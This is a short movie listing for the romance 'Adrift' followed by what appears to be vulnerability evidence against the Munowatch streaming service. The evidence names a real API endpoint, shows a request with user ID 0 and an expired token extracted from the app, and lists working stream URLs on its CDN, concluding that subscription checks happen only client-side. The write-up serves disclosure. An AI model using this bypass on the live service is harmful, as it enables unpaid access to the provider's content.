Adrift
Vj Junior Romance 01h 22m 5 years ago

A true story of survival, as a young couple's chance encounter leads them first to love, and then on the adventure of a lifetime as they face one of the most catastrophic hurricanes in recorded history

 API Response Evidence — Vulnerability Proof
Endpoint called GET /api/preview/v2/14388/0
User ID used 0 (no user / not logged in)
JWT used Expired Feb 2024 (extracted from APK)
issubscriber false
user_access deny
paid_for YES (premium content)
substatus EXPIRED
serverhost 30
video_name A Drift Jr_x264.mp4
playingUrl returned YES — URL in response
API playingUrl value https://munowatch.co/clips/ELI.mp4
CDN demo stream https://munotech3.b-cdn.net/daphine/Daphine42/1-Vengeance of the Bride-JBS TV-VJ IVO.mp4

Finding: The server sets user_access=deny and issubscriber=false but still returns playingUrl in the same response. Subscription is enforced client-side only — any caller with the expired APK JWT can obtain stream URLs without a subscription. Munowatch CDN (b-cdn.net) serves content with no auth required (direct HTTP Range requests succeed with HTTP 206).
